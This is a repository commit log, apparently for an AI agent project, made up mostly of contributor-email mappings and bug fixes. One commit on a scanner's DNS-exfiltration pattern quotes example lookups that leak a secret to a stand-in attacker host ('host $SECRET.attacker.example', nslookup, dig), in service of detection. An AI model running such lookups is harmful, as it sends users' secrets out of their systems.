Commit Graph

615 Commits

Author SHA1 Message Date
Teknium f28718c331 chore: map contributor email for shanthans-es 2026-08-24 03:20:46 -07:00
Teknium 8eba0d2fd6 chore: map dougatbuck contributor email 2026-08-24 03:19:47 -07:00
Teknium 94af11a920 chore: map contributor email for jeremyrandria-debug 2026-08-24 03:14:24 -07:00
kshitijk4poor 9857bcba5c fix: widen secure_parent_dir to skip entire install tree
Replace hardcoded /opt/hermes check with dynamic install-tree detection
using Path(__file__).resolve().parent. This catches ALL install paths
(Docker /opt/hermes, apt /usr/local/lib/hermes-agent, git clone, custom)
instead of just the Docker image path. Also covers subdirectories of the
install tree, not just the top-level dir.

Add regression test test_install_tree_skipped to verify both the install
root and subdirectories are excluded from chmod.

Add contributor email mapping for bradmarshall987.

Follow-up to PR #93050 by @bradmarshall987.
2026-08-24 15:42:09 +05:30
kshitijk4poor ee924a1bc5 chore: add cycorld to AUTHOR_MAP for PR #92189 salvage 2026-08-24 15:30:11 +05:30
Ben Barclay 9a91f7058c Merge remote-tracking branch 'origin/main' into fix/pkce-samesite-none-salvage 2026-08-24 16:48:06 +10:00
quexiaolong 7e67f64fce fix(desktop): bots group chat sends message on IME composition Enter
macOS Chinese pinyin IME: pressing Enter to confirm a candidate word in
the group-chat composer submitted the draft as a message mid-composition.
The GroupMentionInput onKeyDown checked only `event.key === 'Enter' &&
!event.shiftKey` with no IME guard, unlike the core composer which guards
isComposing + keyCode 229 (#44135).

Add the same guard to the three Enter handlers in the bots plugin:
- GroupMentionInput (group composer + reply box) — the reported bug
- GroupClarifyCard free-text answer input — same premature-submit
- skill-hub search input — same premature-trigger

Closes #93528
2026-08-23 23:33:33 -07:00
Teknium 03662dca77 chore(release): map KHALIDagara contributor email 2026-08-23 21:12:26 -07:00
Teknium 95af45419f chore: map beplee contributor email for attribution gate 2026-08-23 21:12:20 -07:00
Teknium fdff700dc2 chore: map e-macgregor contributor email 2026-08-23 19:55:17 -07:00
Teknium ea25bf204d chore: map contributor email for cxxCoolStar 2026-08-23 19:02:30 -07:00
Teknium 74e483d326 chore: add contributor email mapping for jackijianxa 2026-08-23 19:00:36 -07:00
Teknium ca226b5e06 chore: map contributor emails for ring-2 salvage (A2chitect, c-pompa) 2026-08-23 18:58:40 -07:00
Teknium 9ab056d4e8 chore: map wingkwong contributor email 2026-08-23 18:27:32 -07:00
Teknium 83bb0f1b40 chore: map UniversePeak contributor email 2026-08-23 18:27:15 -07:00
aniruddhaadak80 ac83bb0667 chore: map contributor email aniruddhaadak80@gmail.com 2026-08-23 18:27:07 -07:00
Teknium 4bc31a435b chore: map Aintworth contributor email 2026-08-23 18:27:04 -07:00
Teknium 31ade5da7b chore: add contributor email mappings for salvage 2026-08-23 18:25:42 -07:00
Teknium 63b42d3070 chore: add contributor email mappings for salvage 2026-08-23 18:25:35 -07:00
Teknium 0c713049ef chore: add contributor email mapping for zgqq 2026-08-23 18:10:31 -07:00
Teknium c94ee2e06f chore: add contributor email mappings for arcimun and KeaneYan 2026-08-23 18:01:59 -07:00
Artur Hapantsou b34edd6b01 fix: execute_code and argv-list payloads no longer bypass the gateway lifecycle guard (#68289)
execute_code lacked the lifecycle guard entirely, and Python argv-list
forms (subprocess.run([...])) separated command words with brackets and
commas the shell-shaped pattern could not see. Mirror the terminal_tool
guard in execute_code (ownership-gated per #92560) and strip argv-list
punctuation in the token-join re-scan. Salvaged from PR #68289 by
@arcimun, adapted to the ownership gate and current guard structure.
2026-08-23 18:01:59 -07:00
Teknium ca8a598787 chore: add contributor email mapping for 03farren 2026-08-23 17:56:36 -07:00
Teknium fa63c3e1c2 chore: add contributor email mapping for acewong7 2026-08-23 17:54:20 -07:00
Teknium ec169b4885 chore: add contributor email mapping for eaglezzz0522-cloud 2026-08-23 17:50:48 -07:00
Teknium 778c384120 chore: map JinUltimate1995 contributor email 2026-08-23 17:47:50 -07:00
Teknium 175054c14b chore: add contributor email mapping for ccowan93 2026-08-23 17:01:31 -07:00
Teknium 4a3e5c4094 chore: add contributor email mapping for vanniaxel06 2026-08-23 16:28:56 -07:00
Teknium 88259cb3ad chore: add contributor email mapping for nbxuhk 2026-08-23 15:49:52 -07:00
Teknium 1b7aa5425d chore: map contributor email for salvage attribution 2026-08-23 03:55:14 -07:00
Teknium a9dda9ab4a chore: map contributor email for salvage attribution 2026-08-23 02:16:33 -07:00
Teknium 32a8a7031e chore: map contributor email for salvage attribution 2026-08-22 23:25:43 -07:00
Teknium 278dac43b1 chore: map contributor email for attribution gate 2026-08-22 22:26:08 -07:00
Teknium aa24d87801 chore: map contributor email for salvage attribution 2026-08-22 22:00:19 -07:00
Teknium 2a379a1675 chore: map salvage contributors (klaus765, ctaylor86) 2026-08-22 21:55:39 -07:00
kshitij 85044caebe chore: AUTHOR_MAP brucex2710@gmail.com -> brucexu-eth
For salvage PR #92523 (PR #91585 by @brucexu-eth).
2026-08-23 02:46:59 +05:30
sovthpaw 13f4cfebfa fix(skills_guard): --host flags no longer flagged as DNS exfiltration
The dns_exfil pattern matched the 'host' DNS command inside flag names
like llama.cpp/vllm's --host 127.0.0.1 --port $PORT, so any plugin
shipping a .sh launcher script was blocked as dangerous. A negative
lookbehind (?<![-/]) excludes flag/path contexts while real DNS-lookup
exfiltration (host $SECRET.attacker.example, nslookup $X, dig $(...))
still trips the pattern.

Salvaged from PR #92382 (regex fix + regression test); scan-scoping
half rejected separately.
2026-08-22 11:15:44 -07:00
Teknium 0cde4dd93a chore: add contributor email mapping for EAbaracus 2026-08-22 10:38:27 -07:00
Teknium c0055b3a6d chore: map contributor email for Jackal991 2026-08-22 10:30:46 -07:00
Mauvis Ledford e95dd466b1 fix(bot-mode): persist canonical chat before opening 2026-08-22 02:35:47 -07:00
kshitijk4poor cd80a7f36c chore: map contributor email epicstorage0@gmail.com 2026-08-22 14:55:04 +05:30
kshitijk4poor 3bdc2165c3 fix(state): scope salvage to repair-connection durability + live-writer guard
Follow-up to the salvaged repair-durability commit. Scope corrections so this
PR ships only the reachable, non-competing, WAL-mode-correct half:

- Drop verify_state_db_integrity() + its 4 tests. Zero production callers here
  (dead code); the caller lives in the follow-up that wires it into
  SessionStore._open_session_db_for_active_scope() (PR #91754). The function
  moves with its wiring.
- Drop the _db_fingerprint change (size:mtime_ns -> dev:ino:size) + its 3
  ledger tests. This is competing work: PR #88425 (salvage of @jirathip-k's
  #88224) already fixes the same size:mtime_ns budget-reset bug with a
  content-sample + volatile-header-mask that also handles the DELETE-mode
  commit-counter case, and carries @jirathip-k's diagnosis/credit. Landing a
  second, divergent fingerprint contract would stomp that lineage. Fingerprint
  stays with #88425; this PR reverts _db_fingerprint to main's form.
- Mark test_repair_refuses_while_another_connection_holds_the_db requires_wal.
  _live_writer_holds_db detects an out-of-process holder via the WAL-index
  exclusive lock, absent in journal_mode=DELETE (used on WAL-reset-vulnerable
  SQLite <3.51.3 incl. CI's 3.50.4, and on NFS/SMB). The test failed there;
  the conftest requires_wal gate auto-skips it. DELETE-mode limitation is now
  documented on the guard docstring: repair is serialised only by the
  cross-process repairer lock there. The reported incident was in WAL mode.
- Map dhanesh@users.noreply.github.com -> dhanesh (contributors/emails) so the
  attribution CI gate passes.

Net: this PR is repair-connection durability barriers + the live-writer guard.
addresses @andrexibiza's #90747 review (dead-code verifier + fingerprint
interlock with #88425).
2026-08-22 04:02:29 +05:30
Teknium 70151dd549 feat(update): updates.parked_branch_strategy gates the in-place merge; switch stays the default
Adapts the in-place branch update from PR #89507 (@willfrombr) onto the
switch-by-default behavior: the deterministic switch path remains the
default so non-interactive updates (desktop, gateway, cron) never dead-end
on a merge conflict, and deliberate custom-branch users opt in with
updates.parked_branch_strategy: update_in_place. --switch-branch overrides
the in-place strategy for one run (deep feature branches that must not
accumulate update merge commits). Docs + config comments + tests cover
all three routes.

Co-authored-by: Willian Santos <285090322+willfrombr@users.noreply.github.com>
2026-08-21 15:23:49 -07:00
Teknium 2dcb623956 chore: map salvage contributor emails 2026-08-21 15:02:29 -07:00
Good Chang 9e36774d77 fix(telegram): rebuild after cancellation-shielded stop
Use the existing wall-clock deadline helper for updater.stop() during network recovery. If PTB cleanup remains cancellation-shielded past the deadline, escalate to retryable fatal recovery so the runner builds a fresh adapter instead of calling start_polling() while the old Updater may still hold its lifecycle lock.

Add regression coverage with stop() swallowing cancellation while holding the same lock start_polling() needs, and verify the old Updater is never reused.
2026-08-22 03:20:48 +05:30
kshitijk4poor ac64f8a7e7 chore: AUTHOR_MAP — add samtcam@gmail.com → samclams
For PR #91806 salvage (multiplex refusal exit code fix).
2026-08-22 03:10:32 +05:30
Teknium bc8f49618c chore: map contributor email for S-Claw 2026-08-21 14:39:02 -07:00
Teknium 098a7acd4a add openclaww@gmail.com to contributors 2026-08-21 14:38:32 -07:00
ethernet b102999d80 add mike@vorburger.ch to contributors 2026-08-21 15:17:28 -04:00
kshitijk4poor 8b103cd130 chore: AUTHOR_MAP troy.rowe@re-source.au -> troyrowe-resource
Mapping for PR #90261 salvage (server-injected parameter 400 classifier).
2026-08-21 21:25:08 +05:30